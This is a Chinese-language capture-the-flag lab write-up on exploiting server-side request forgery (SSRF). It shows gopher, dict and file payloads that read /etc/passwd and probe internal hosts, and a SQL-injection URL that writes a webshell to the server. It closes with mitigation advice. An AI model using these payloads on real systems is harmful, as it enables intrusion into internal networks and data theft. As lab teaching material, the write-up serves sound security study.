SSRF作为入口点的利用
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
SSRF入口的利用
SSRF是由一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。(正因为请求是由服务器发起的,所以服务器端能请求到与自身相连而与外网隔离的内部系统。)
这里我用了个靶场:
https://github.com/sqlsec/ssrf-vuls
服务端请求访问
常见的攻击协议 Gopher协议 对目标攻击的主要协议 gopher://xxxxx:port/主体 主体部分需要url编码 Dict协议 探测端口操作,以及版本信息 dict://xxxxx:port/info http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379(http也可以) ftp协议 只能探测是否存在ftp,不能进行爆破 http协议 用来探测是否存在ssrf sftp:// ldap:// file协议 读取文件协议 刺探支持的协议(修改协议头即可) gopher://:/_后面接TCP数据流(扫描) dict://xxxxx:port/info(例:dict://xxxxx:22/info,dict://xxxxx:6379/info)(爆破) ftp:///etc/passwd(file://c:\windows\win.ini,如果报错返回绝对地址更再好不过了) http://xxxxx:port/(扫描) file://(读取文件内容)
靶场
搭建完成后 访问http://url:8080/
随便请求内网,发现套娃 存在SSRF漏洞
http://127.0.0.1:8080
file:///etc/passwd # 读取配置文件
file:///etc/hosts # 查看hosts文件
探索内部资产
可以用dict进行探测服务 加上前面看到了172.72.23.0网段
暴力破解IP和端口
探测到非常多服务
代码
访问172.72.23.22 发现提示,发现里面有一个shell.php的文件
是一个简单的命令执行,使用cat%20/flag 直接读取flag
flag{a8ebc494c479c9f03fc353b3ba81040d}
SQL注入
访问第二个172.72.23.23 是一个sql注入的题目
简单的get注入 判断出为4列
然后进行一些简单查询
接下来直接些webshell了
http://172.72.23.23/?id=1'%20union%20select%201,2,3,''%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+
命令执行
因为是post提交数据的所以没办法直接提交
gopher://ip:端口/_请求内网POST数据包进行2次URL编码 Accept-Encoding: gzip, deflate # 记得删除!!!
成功执行命令
防护措施
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
